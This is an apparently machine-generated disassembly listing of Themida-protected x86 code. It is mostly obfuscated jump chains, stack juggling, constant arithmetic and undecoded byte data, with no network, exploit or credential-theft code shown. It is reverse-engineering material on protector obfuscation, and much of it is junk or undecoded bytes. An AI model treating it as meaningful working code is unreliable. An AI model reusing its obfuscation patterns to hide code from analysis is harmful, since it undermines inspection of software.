		dd 19F2E952h, 535D0001h, 7873E7BBh, 0F13AE96Ah,	2C890000h
		dd 0FEE95424h, 1000021h, 242C8BEAh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_555F11
; ---------------------------------------------------------------------------


loc_552700:				; CODE XREF: Themida_:00553F6Fj
		push	ecx
		jmp	loc_564690
; ---------------------------------------------------------------------------


loc_552706:				; CODE XREF: Themida_:0055C893j
		pop	edx
		jmp	loc_5607C1
; ---------------------------------------------------------------------------
		dd 88E9D701h
		db 0EBh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552713:				; CODE XREF: Themida_:00562E2Fj
		add	esp, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55E656
; ---------------------------------------------------------------------------
byte_552731	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00550850o
		dd 9F1E9h, 7B676800h, 4890000h,	85B65224h, 148BF488h, 4C48324h
		dd 0D87CE9h, 40500h, 4050000h, 0E9000000h, 69E6h
; ---------------------------------------------------------------------------


loc_552760:				; CODE XREF: Themida_:00558AC3j
		xor	esi, [esp]
		xor	[esp], esi
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xor	[esp], ebp
		xor	ebp, [esp]
		xor	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_55B283
; ---------------------------------------------------------------------------
aIusu		db '┴ЦИ⌠е',0
		align 4
dword_552794	dd 24048B66h, 4EC81h, 2C890000h, 14E95424h ; DATA XREF:	Themida_:005506E8o
		db 0B9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5527A7:				; CODE XREF: Themida_:00552408j
		push	5B5Ah
		mov	[esp], ebp
		push	esi
		mov	esi, 588A0B61h
		mov	ebp, 21F44516h
		jmp	loc_55513A
; ---------------------------------------------------------------------------
		db 83h
		dd 5D042404h, 4C581h, 0C5810000h, 4, 0BB08E9h, 0C6015A00h
		dd 5D545558h, 180CE9h, 4C28100h, 81000000h, 4C2h, 24148700h
		dd 0F9AAE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5527F6:				; CODE XREF: Themida_:005583A0j
		and	ebx, esi
		pop	esi
		push	edx
		jmp	loc_554127
; ---------------------------------------------------------------------------
		db 66h
		dd 51241489h, 8904EC83h, 5CB02404h, 48BC588h, 4C48324h
		dd 125B4E9h
		db 0
; ---------------------------------------------------------------------------


loc_552819:				; CODE XREF: Themida_:0055D6FAj
		pop	edx
		jmp	loc_55E98C
; ---------------------------------------------------------------------------
byte_55281F	db 66h			; DATA XREF: Themida_:005507D0o
		dd 6824048Bh, 7AB6h, 0E9240489h, 11964h
; ---------------------------------------------------------------------------


loc_552830:				; CODE XREF: Themida_:0055E3E5j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	ecx, esi
		mov	esi, [esp]
		jmp	loc_558D3A
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0A7h
		dd 94BE629h, 0BD18E9FBh, 0CB800000h, 5CEAE93Bh,	835A0000h
		dd 626804EFh, 0E900001Ah, 0C55Fh, 1C3DBF57h, 0E9552516h
		dd 1C7h, 5376FEB8h, 0E9C6010Ah,	11080h,	5304C483h, 0C3815B54h
		dd 4, 8704EB83h, 895C241Ch, 0DEB5240Ch,	0E580CDFEh, 0DACD8034h
		dd 8008C580h, 4DE90FC5h, 89000036h, 98F6E9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5528B6:				; CODE XREF: Themida_:00565A2Aj
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	ecx
		mov	ecx, 5609799Ch
		mov	ebx, 0BB34C0D3h
		jmp	loc_5538DA
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 0FFFFE0DBh, 0E9242C89h, 10C35h, 5C243C87h, 103A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5528E5:				; CODE XREF: Themida_:00551B94j
		mov	[esp], edi
		mov	edi, 1
		and	eax, edi
		mov	edi, [esp]
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	ecx
		mov	ecx, 22A856E3h
		xor	ecx, 52CD4DBAh
		push	ebp
		mov	ebp, 26649D0h
		add	ebp, 9910E0Bh
		xor	ebp, 59AC56B0h
		dec	ebp
		xor	ebp, 52FC06E4h
		add	ecx, ebp
		jmp	loc_560E80
; ---------------------------------------------------------------------------


loc_552927:				; CODE XREF: Themida_:0055835Bj
		push	eax
		push	esi
		push	7CF4444Ch
		mov	esi, [esp]
		add	esp, 4
		shr	esi, 3
		shr	esi, 2
		xor	esi, 6F31CAE3h
		push	ebx
		mov	ebx, esi
		jmp	loc_564F3A
; ---------------------------------------------------------------------------
		db 33h
		dd 895C241Ch, 0C3682404h, 89000078h, 4832424h, 68580424h
		dd 541Dh, 0E9242C89h, 5AF3h, 3FFF3568h,	241C8BE9h, 4C481h
		dd 0C3810000h, 73BB53F3h, 6857D301h, 52F9158Dh,	0FFE7D3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55298D:				; CODE XREF: Themida_:0055473Cj
		push	ecx
		mov	ecx, 1
		add	eax, ecx
		jmp	loc_563E4D
; ---------------------------------------------------------------------------


loc_55299A:				; CODE XREF: Themida_:005573BDj
		add	edx, 4
		jmp	loc_556534
; ---------------------------------------------------------------------------
a1SL		db '1аИмL',0
		align 4
		dd 0FFDFFEE9h, 2474FFFFh, 4568E904h, 912D0000h,	501F325h
		dd 477161D9h, 5825E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5529CA:				; CODE XREF: Themida_:00559CE2j
		pop	esi
		jmp	loc_563337
; ---------------------------------------------------------------------------


loc_5529D0:				; CODE XREF: Themida_:00556325j
		mov	edi, 4F2E6FE3h
		sub	edi, 653A3B71h
		neg	edi
		add	edi, 83380C8h
		add	ecx, edi
		pop	edi
		push	ebp
		mov	ebp, 55E52B45h
		add	ecx, ebp
		pop	ebp
		jmp	loc_5631B1
; ---------------------------------------------------------------------------


loc_5529F4:				; CODE XREF: Themida_:0056517Dj
		add	[esp+4], eax
		pop	eax
		pop	esi
		jmp	loc_55DE6C
; ---------------------------------------------------------------------------
		db 1
		dd 2887E9FBh, 87580001h, 535C241Ch, 0CC3626BBh,	0EAEB8103h
		dd 0C12FAE74h, 0E0E902E3h, 68000088h, 2B1Fh, 436CE9h
		db 0
; ---------------------------------------------------------------------------


loc_552A29:				; CODE XREF: Themida_:0055622Cj
		mov	edx, esp
		jmp	loc_56392F
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 65A6h, 4FE9CA29h, 0BD000068h, 4590A31h
		dd 815DEF01h, 0E657EC7h, 22C0E96Eh, 0DBF70000h,	4747E9h
		dd 0D8296600h, 5665B66h, 29661795h, 0BD6655D0h,	81661216h
		dd 66FA81EDh, 665DE829h, 6620D905h, 0E934B605h,	0FFFFF713h
; ---------------------------------------------------------------------------


loc_552A80:				; CODE XREF: Themida_:00557943j
		pop	ebx
		jmp	loc_559DE6
; ---------------------------------------------------------------------------
		dw 0B9BDh
		dd 292C4D68h, 12E95DE8h, 800000C1h, 0CBFEA5F3h,	78E9CBFEh
		dd 5D00002Dh, 6AEB8143h, 8114A18Fh, 45701CE9h, 0E9D90124h
		dd 10415h, 0BB36A5B9h, 1CF4E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_552ABE:				; CODE XREF: Themida_:00551FD6j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 2
		add	esi, 50C4788Eh
		add	esi, 354E68DBh
		add	esi, 267140ACh
		add	esi, edx
		jmp	loc_55A083
; ---------------------------------------------------------------------------
		db 89h
		dd 0BB53240Ch, 3F981BF7h, 8108EBC1h, 7C9BD7C3h,	73DAB928h
		dd 0AAE93211h, 500000F3h, 2C5A5868h, 0FBECE900h, 8B5F0000h
		dd 0C4812414h, 4, 3C8BF801h, 4C48324h, 31240433h, 4332404h
		dd 66E9E924h, 0CA090000h, 83240C8Bh, 814A04C4h,	0F371B3EAh
		dd 8BD6090Bh, 0C4832414h, 4EC8104h, 89000000h, 0A5BD242Ch
		dd 0E95EB22Fh, 128FEh
; ---------------------------------------------------------------------------


loc_552B54:				; CODE XREF: Themida_:00558587j
		add	esp, 4
		xor	ebp, [esp]
		jmp	loc_55E45E
; ---------------------------------------------------------------------------
		dw 0AAB9h
		dd 0F74EFE4Eh, 39E981D9h, 0E9D536EEh, 78AAh, 34FF535Ch
		dd 0D6685824h, 89000029h, 46E92414h, 53000116h,	0D34CE9h
		db 0
byte_552B8D	db 66h,	0ADh, 66h	; DATA XREF: Themida_:00550808o
		dd 31BB6653h, 8C056665h, 0D801665Eh, 5E8C2D66h,	241C8B66h
		dd 6602C483h, 5566D801h, 28AC68h, 241C8900h, 93BDE9h
		db 0
; ---------------------------------------------------------------------------


loc_552BB9:				; CODE XREF: Themida_:00563742j
		add	esp, 4
		jmp	loc_561E1A
; ---------------------------------------------------------------------------
		dd 0CE9CD01h, 0C0000094h, 0EB8005EBh, 0D3B9E9CDh, 0FF520000h
		dd 0E9042474h, 0D5A0h, 35E9D331h
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_552BE7:				; CODE XREF: Themida_:005593DCj
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		jmp	loc_557AD4
; ---------------------------------------------------------------------------
		dw 0ACBEh
		dd 291EA87Dh, 0F0015EF0h, 0A87DAC05h, 24348B1Eh, 4C481h
		dd 0EC810000h, 4, 57241489h, 0C57D3068h, 612E929h, 0C5830000h
		dd 242C8704h, 2C2835Ch,	2474FF52h, 2434FF04h, 8324148Bh
		dd 895304C4h, 0F1F2E9E3h
		db 2 dup(0)
word_552C42	dw 34FFh		; DATA XREF: Themida_:00550854o
		dd 2434FF24h, 4C48358h,	4EC81h,	0A6E90000h, 0BB0000F0h
		dd 7EFB5567h, 8108EBC1h, 4CB715F3h, 0E9DE013Ah,	0CE17h
		dd 1BAFE95Bh, 0CF810000h, 231A552Ch, 0E94FD7F7h, 4C1Eh
		dd 68241C89h, 3865h, 81242489h,	42404h,	835B0000h, 34E904ECh
		dd 31000003h, 0CA0158C1h, 6CA5E9h
		db 0
; ---------------------------------------------------------------------------


loc_552CA5:				; CODE XREF: Themida_:00565A0Dj
		sub	esi, ebx
		pop	ebx
		add	esi, eax
		add	esi, 43077B39h
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 4
		push	ebx
		mov	ebx, 40C00A87h
		add	esi, ebx
		pop	ebx
		sub	esi, ecx
		sub	esi, 40C00A87h
		jmp	loc_5588A9
; ---------------------------------------------------------------------------
		dw 0E189h
		dd 4C181h, 0C1830000h, 74FF5104h, 8F590424h, 93E92404h
		db 52h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552CEB:				; CODE XREF: Themida_:0055E3B5j
		or	edi, 0A533AEFh
		not	edi
		jmp	loc_55F6F2
; ---------------------------------------------------------------------------
		dd 1AA7F181h, 0E1D17AEDh, 6C44BF57h, 0F9313342h, 25ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_552D0D:				; CODE XREF: Themida_:00561B3Cj
		add	esi, eax
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56021E
; ---------------------------------------------------------------------------
		dd 1BBE565Ch, 8163AC5Ah, 897749EEh, 0D0F68116h,	0E94D22E2h
		dd 12B31h
; ---------------------------------------------------------------------------


loc_552D30:				; CODE XREF: Themida_:00559ED6j
		add	edx, 4
		jmp	loc_562B27
; ---------------------------------------------------------------------------
		dd offset aStringer	; "Stringer"
		db 0E8h
		dd 52E80059h, 8671E9h, 4EC8300h, 0B8240489h, 4,	9AECE9h
		db 0
; ---------------------------------------------------------------------------


loc_552D59:				; CODE XREF: Themida_:0055B2DBj
		pop	esp
		jmp	loc_561470
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832434h, 17C28104h, 502A5105h, 0EA7C6AB8h, 176BE912h
		dd 0F1810001h, 17324925h, 0E959CE29h, 35F2h, 0E957EE29h
		dd 0FFFFF29Dh, 0C281C201h, 6F6119DEh, 67EDEA81h, 48B29FDh
		dd 4C48124h, 50000000h,	444F9AB8h, 8E8C129h, 0C6E9D0F7h
		dd 570000C0h, 3871B951h, 0A1E96D0Ch
		db 27h,	1, 0
; ---------------------------------------------------------------------------


loc_552DBF:				; CODE XREF: Themida_:00561F9Ej
		xchg	esi, [esp]
		jmp	loc_561B2E
; ---------------------------------------------------------------------------


loc_552DC7:				; CODE XREF: Themida_:00564137j
		mov	[esp], edi
		xchg	eax, [esp]
		not	eax
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_556983
; ---------------------------------------------------------------------------
		db 89h
		dd 4BE56E5h, 51000000h,	0FFE3BAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_552DF5:				; CODE XREF: Themida_:0055CB5Ej
		mov	ebp, 27344EAAh
		or	ebp, 7EA47AC5h
		shl	ebp, 6
		jmp	loc_5544A1
; ---------------------------------------------------------------------------


loc_552E08:				; CODE XREF: Themida_:0055AACDj
		add	esp, 4
		push	ebx
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	edx, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_562549
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 0AB0F191Fh, 0BC2BE9h
		db 0
; ---------------------------------------------------------------------------


loc_552E45:				; CODE XREF: Themida_:005555A5j
		and	eax, esi
		pop	esi
		jmp	loc_5510A5
; ---------------------------------------------------------------------------
		db 68h,	1Bh, 5
		dd 34890000h, 12A5E924h, 89570001h, 4C781E7h, 81000000h
		dd 4C7h, 243C8700h, 1C0835Ch, 4D603335h, 46C68193h, 176342Ah
		dd 0BE5650C6h, 23584DCBh, 0C22EC681h, 0F08932ADh, 8124348Bh
		dd 4C4h, 4DBD5500h, 1202E1Ah, 0C6815DE8h, 590C67A5h, 0EE81C629h
		dd 590C67A5h, 18E95858h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_552EB3:				; CODE XREF: Themida_:00564B85j
		xor	ebx, edx
		pop	edx
		mov	[edi+20h], ebx
		mov	ebx, [esp]
		add	esp, 4


loc_552EC2:				; CODE XREF: Themida_:00551F7Aj
					; Themida_:0055C246j
		mov	ebx, [esp]
		push	118h
		mov	[esp], ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_55D0D6
; ---------------------------------------------------------------------------


loc_552ED5:				; CODE XREF: Themida_:0055774Dj
		mov	[esp], ebx
		pop	eax
		pop	ebx
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5548B6
; ---------------------------------------------------------------------------


loc_552EEE:				; CODE XREF: Themida_:00565208j
		add	ebx, 0F3509F0h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		jmp	loc_55BF4E
; ---------------------------------------------------------------------------
		dd 8006E5C0h, 0F4045EEDh, 1AE9E828h, 0F700010Eh, 0BB534ADAh
		dd 31170F87h, 815BDA01h, 461722C2h, 0E8DFE952h
		db 2 dup(0)
word_552F32	dw 8B66h		; DATA XREF: Themida_:005506F8o
		dd 8956240Ch, 0E68956E6h, 1160DE9h
		db 0
; ---------------------------------------------------------------------------


loc_552F41:				; CODE XREF: Themida_:00564C41j
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		jmp	loc_55D6FF
; ---------------------------------------------------------------------------
		db 81h
		dd 1E0016C1h, 59CE0134h, 26851h, 20E90000h, 5C000060h
		dd 52240489h, 0BCFEE9h,	4C68100h, 87000000h, 248B2434h
		dd 0DA31E924h, 0C329FFFFh, 0E904EC83h, 0F8E1h
; ---------------------------------------------------------------------------


loc_552F88:				; CODE XREF: Themida_:005613B5j
		shr	ebp, 7
		shl	ebp, 5
		xor	ebp, 406CBC1h
		jmp	loc_560F85
; ---------------------------------------------------------------------------


loc_552F99:				; CODE XREF: Themida_:005644ADj
		push	ebx
		jmp	loc_5642C9
; ---------------------------------------------------------------------------


loc_552F9F:				; CODE XREF: Themida_:0055F4FFj
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55E95D
; ---------------------------------------------------------------------------
aYS		db 'Y[И{р',0
		dd 243C8900h, 777EDB68h, 2434FF24h, 4C4835Fh, 0F751CF87h
		dd 0F3E92414h, 89FFFFDDh, 4BF243Ch, 1000000h, 243C8BFBh
		dd 0DDEFE9h, 4BD3F700h,	0B53EF381h, 0DA21C90Fh,	10F2815Bh
		dd 1449836h, 0EB815AD3h, 4, 100B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_553001:				; CODE XREF: Themida_:0055B3CFj
		mov	edx, 0BF65E7FFh
		add	esi, edx
		pop	edx
		sub	[edi+24h], esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_559AD4
; ---------------------------------------------------------------------------


loc_553015:				; CODE XREF: Themida_:005517FEj
		mov	esi, 276E7941h
		add	ebx, esi
		pop	esi
		add	ebx, 748C0BCEh
		push	dword ptr [ebx]
		push	ebx
		mov	ebx, 4CE171E9h
		sub	[esp+4], ebx
		pop	ebx
		pop	ecx
		jmp	loc_5554AE
; ---------------------------------------------------------------------------
		dw 0EA81h
		dd 7D13774Ah, 34FFD301h, 4693E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553046:				; CODE XREF: Themida_:0055C6C9j
		push	small 268Ch
		jmp	loc_55713F
; ---------------------------------------------------------------------------
		db 83h
		dd 0F20104C4h, 113CBE9h, 4BF5700h, 81000000h, 1C0753EAh
		dd 81FA015Fh, 1C0753C2h, 1AE95F5Fh, 81FFFFDAh, 512439C3h
		dd 5BDE89B2h, 77F0B850h, 0E0C10279h, 63354007h,	40488A57h
		dd 212DE9h, 4EC8300h, 68241C89h, 4D004D49h, 6E3C15Bh, 7E69CB81h
		dd 0E3C14194h, 6EF38106h, 148D9D9h, 2434FFDFh, 2B92E95Bh
		dd 0C4810001h, 4, 0EB80C328h, 378F6825h, 14890000h, 51E0B224h
		dd 0DFE9E3B1h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5530D7:				; CODE XREF: Themida_:0055514Bj
		sub	ecx, 293F3CA1h
		add	ecx, ebp
		jmp	loc_55A446
; ---------------------------------------------------------------------------


loc_5530E4:				; CODE XREF: Themida_:00553A19j
		mov	ebp, 48997029h
		sub	ebp, 48997025h
		mov	esi, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 76DE2667h
		mov	ebx, 89282A36h
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		inc	ebx
		jmp	loc_5535FF
; ---------------------------------------------------------------------------
		db 89h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0A12FE924h, 48B0000h
		dd 4C48124h, 81000000h,	4ECh, 24048900h, 2959E954h, 0EF810000h
		dd 0FF9281CFh, 15FF989h, 505553C1h, 2C1C7468h, 51355842h
		dd 0E93B813Ch, 12B01h, 0E95AF188h, 12927h, 90AC681h, 835A05F9h
		dd 3C8904ECh, 106C6824h, 0A7E90000h
		db 1Dh,	2 dup(0)
byte_55317F	db 66h			; DATA XREF: Themida_:0055083Co
		dd 6824048Bh, 307Ah, 56240489h,	0C681E689h, 4, 4EE81h
		dd 34330000h, 24343124h, 8B243433h, 24892424h, 4BF5724h
		dd 1000000h, 5F04247Ch,	582434FFh, 110DEE9h, 7EEC100h
		dd 58CBEE81h, 0E6C167C1h, 0D6F74E02h, 4356C681h, 0F231D805h
		dd 68C2815Eh, 0E96F7040h, 97F3h, 493374BEh, 4289E911h
		dd 0BE560000h, 6E2F0B51h, 9CD1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5531F5:				; CODE XREF: Themida_:0056233Ej
		mov	[esp], ebp
		mov	ebp, 0D3FF0E45h
		xor	eax, ebp
		pop	ebp
		add	edx, 7C9849ECh
		jmp	loc_55178A
; ---------------------------------------------------------------------------
		db 53h
		dd 0C3815B54h, 4, 4B951h, 0CB010000h, 241C8759h, 1058DE9h
		dd 4B800h, 0C2890000h, 0E9D30158h, 250Bh, 4BE7815Fh, 81561D0Eh
		dd 0A9032AEFh, 0BB5BE991h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553246:				; CODE XREF: Themida_:0055B5C9j
		sub	ebp, ecx
		pop	ecx
		jmp	loc_5635E3
; ---------------------------------------------------------------------------


loc_55324E:				; CODE XREF: Themida_:0055910Ej
		mov	ebx, 19047202h
		xor	ebx, 653E0A8Ch
		shl	ebx, 1
		inc	ebx
		jmp	loc_552001
; ---------------------------------------------------------------------------
		db 52h,	83h, 0ECh
		dd 242C8904h, 0C581E589h, 4, 4BB53h, 0DD290000h, 242C875Bh
		dd 12846E9h
		db 0
; ---------------------------------------------------------------------------


loc_553281:				; CODE XREF: Themida_:00562FB8j
		xor	edi, [esp]
		jmp	loc_55C9CA
; ---------------------------------------------------------------------------


loc_553289:				; CODE XREF: Themida_:00557887j
		mov	[esp], eax
		push	edx
		push	45CD3D82h
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 172C0F6Fh
		shl	eax, 2
		push	2E17h
		mov	[esp], edx
		mov	edx, 58173863h
		shl	edx, 5
		push	eax
		jmp	loc_554695
; ---------------------------------------------------------------------------


loc_5532B7:				; CODE XREF: Themida_:00558E7Aj
		add	ebx, edi
		pop	edi
		jmp	loc_565279
; ---------------------------------------------------------------------------
		db 31h
		dd 0CD295FF9h, 1073AE9h, 59CB2900h, 6671E9h
		db 0
; ---------------------------------------------------------------------------


loc_5532D1:				; CODE XREF: Themida_:00562845j
		mov	esi, 454C4A5Bh
		xor	ebx, esi
		pop	esi
		jmp	loc_55589B
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 2EBCBF24h, 0C78107AEh, 0AB37CB6h, 0E907EFC1h, 5A7h
		dd 4C481h, 14870000h, 24248B24h, 66F9F766h, 6661FE68h
		dd 66241489h, 9CE99C50h
		db 0D6h, 2 dup(0FFh)
byte_553313	db 64h			; DATA XREF: Themida_:0055086Co
		dd 0AAE932FFh, 100004Bh, 51565FF8h, 2457B568h, 240C8B4Dh
		dd 7170E9h
		db 0
; ---------------------------------------------------------------------------


loc_55332D:				; CODE XREF: Themida_:00551884j
		mov	[esp], cx
		jmp	loc_5509AF
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 0AD53E953h, 2C890000h, 2474FF24h,	48F5D04h, 24248B24h
		dd 135BE9h, 0E9F10100h,	11C25h,	8F04C483h, 61CA6800h, 0C890000h
		dd 2794E924h, 0E95F0001h, 0FFFFFDCEh, 0FFD636E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553379:				; CODE XREF: Themida_:00551333j
		pop	ecx
		jmp	loc_5523FD
; ---------------------------------------------------------------------------
byte_55337F	db 66h			; DATA XREF: Themida_:005507B8o
		dd 8124048Bh, 4ECh, 24348900h, 24348B54h, 4C481h, 0E9570000h
		dd 0FFFFECFCh
; ---------------------------------------------------------------------------


loc_55339C:				; CODE XREF: Themida_:00557572j
		add	esi, edx
		pop	edx
		add	esi, 4
		jmp	loc_55787C
; ---------------------------------------------------------------------------


loc_5533A7:				; CODE XREF: Themida_:00554E82j
		dec	ebx
		push	esi
		mov	esi, 61C42549h
		jmp	loc_565905
; ---------------------------------------------------------------------------
		db 81h
		dd 88789EEFh, 2434FF4Ch, 4C4815Ah, 1000000h, 0EEC15FFEh
		dd 6E94E02h
		db 0E1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5533CF:				; CODE XREF: Themida_:0055E54Dj
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55F83A
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	6136h
		mov	[esp], ebp
		jmp	loc_554E69
; ---------------------------------------------------------------------------


loc_5533F0:				; CODE XREF: Themida_:00564A22j
		push	eax
		push	ecx
		mov	ecx, 6F2F1048h
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		shr	eax, 3
		add	eax, 1
		sub	eax, 20C549B3h
		push	ecx
		jmp	loc_550B00
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 8BBE5600h, 0C15F9726h,	0F79605E6h, 0FFE883D0h
		dd 56A5E956h, 22680000h, 8900006Fh, 0EC81242Ch,	4, 89243489h
		dd 4C681E6h, 51000000h,	324921B9h, 0F924E917h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_553452:				; CODE XREF: Themida_:0055AEA0j
		mov	[esp], edi
		jmp	loc_55B155
; ---------------------------------------------------------------------------
word_55345A	dw 28Fh			; DATA XREF: Themida_:00550900o
		dd 0FFD54EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_553461:				; CODE XREF: Themida_:00560D2Aj
		xchg	eax, [esp]
		mov	esp, [esp]
		push	4E5Ah
		mov	[esp], edi
		jmp	loc_556A27
; ---------------------------------------------------------------------------
		dd 32F1E95Eh, 0C3810000h, 4, 0E9241C87h, 353Dh
; ---------------------------------------------------------------------------


loc_553488:				; CODE XREF: Themida_:005648FCj
		mov	edx, 2AB966EEh
		sub	esi, edx
		mov	edx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_550DEF
; ---------------------------------------------------------------------------
aTs		db 'TИи╦',0
		align 4
		dd 4C481h, 87560000h, 0D5F7242Ch, 5E242C87h, 50BE5650h
		dd 574C0551h, 8952F789h, 12EDE9FAh, 8B5A0000h, 0C483240Ch
		dd 19CEE904h, 0E9810001h, 0FFFFFFFFh, 42BBE981h, 0EE811E1Eh
		dd 5DA55AEBh, 0C681CE01h, 5DA55AEBh, 0EC62E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5534FA:				; CODE XREF: Themida_:00560E88j
		dec	ebp
		inc	ebp
		push	esi
		push	edi
		jmp	loc_554E47
; ---------------------------------------------------------------------------
		db 29h
		dd 5E042474h, 1799E9h
		db 0
; ---------------------------------------------------------------------------


loc_55350D:				; CODE XREF: Themida_:00554AD5j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		push	ebp
		mov	ebp, 5E816E1Bh
		mov	eax, ebp
		pop	ebp
		add	dword ptr [esp+4], 0E0B4E02h
		jmp	loc_556AF8
; ---------------------------------------------------------------------------
		db 87h,	4, 24h
		dd 2414895Ch, 564E6856h, 575E011Dh, 46958BFh, 0CF814F0Fh
		dd 76AC4678h, 0F9F3EF81h, 0BBE94031h, 5C0000CAh, 9C2424D2h
		dd 0FFD44AE9h, 0F7015AFFh, 8324348Bh, 0B95104C4h, 4, 0E959CF01h
		dd 0B06Ah, 5104C483h, 9994E9h
		db 0
; ---------------------------------------------------------------------------


loc_553585:				; CODE XREF: Themida_:0055B57Ej
		mov	ecx, [esp]
		add	esp, 4
		pop	ecx
		mov	ebp, 784E3346h
		add	ebp, 91952D01h
		add	ebp, 656B6FDAh
		sub	ebp, ebx
		sub	ebp, 656B6FDAh
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_555DD1
; ---------------------------------------------------------------------------
		dd 51C7815Eh, 10DE64Fh,	0B9BE56DFh, 4E4C7529h, 1290CE81h
		dd 0F6812634h, 23D51D3Bh, 0D732EE81h, 0F7293FB9h, 0AC4BE95Eh
		dd 1CBD0000h, 8177F02Eh, 6803BCF5h, 6278686Fh, 0C890000h
		dd 0A5E95524h
		db 72h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5535FF:				; CODE XREF: Themida_:00553112j
		sub	ebx, 3F891FF7h
		shr	ebx, 3
		and	ebx, 5468491Eh
		jmp	loc_565AF7
; ---------------------------------------------------------------------------
		db 56h
		dd 0DB009EBEh, 75C7810Eh, 0E950A117h, 0DBEBh, 70AEEB81h
		dd 0F381372Dh, 0AF16B99h, 2B9FBD55h, 814D73CAh,	0CE08E7E5h
		dd 0C9F58163h, 296B4E99h, 0D9895DEBh, 2444815Bh, 60505904h
		dd 244C011Eh, 246C8104h, 60505904h, 0CA7FE91Eh,	40BE0000h
		dd 5126ED7Dh, 3FBCBA52h, 0CAB91E8Dh, 29728077h,	480E9D1h
		dd 14890000h, 6D76BA24h, 0DAF76662h, 0ED13E9h
		db 0
byte_553689	db 66h,	8Fh, 2		; DATA XREF: Themida_:0055091Co
		dd 0FFD31EE9h, 243489FFh, 0C681E689h, 4, 50685655h, 5E4CC265h
		dd 0E9FFEE83h, 0F755h, 2924248Bh, 0C6C381C3h, 52660C12h
		dd 3A52E5BAh, 8FF28106h, 1031407h, 24148BD3h, 8104C483h
		dd 0F12FAAC3h, 7CB55103h, 0C5E9CDFEh
		db 16h,	1, 0
; ---------------------------------------------------------------------------


loc_5536DB:				; CODE XREF: Themida_:00555799j
		mov	esp, [esp]
		mov	[esp], esi
		push	edx
		jmp	loc_5619C3
; ---------------------------------------------------------------------------
aQ_0		db '[Q╧',27h,0
		dd 4C013EDDh, 0BAE90824h, 2D00010Eh, 77860E74h,	1449A42Dh
		dd 5D82929h, 291449A4h,	4839E9h, 25E95000h, 81FFFFE0h
		dd 510F77EEh, 0ABC68175h, 81267657h, 990B83EEh,	24148B67h
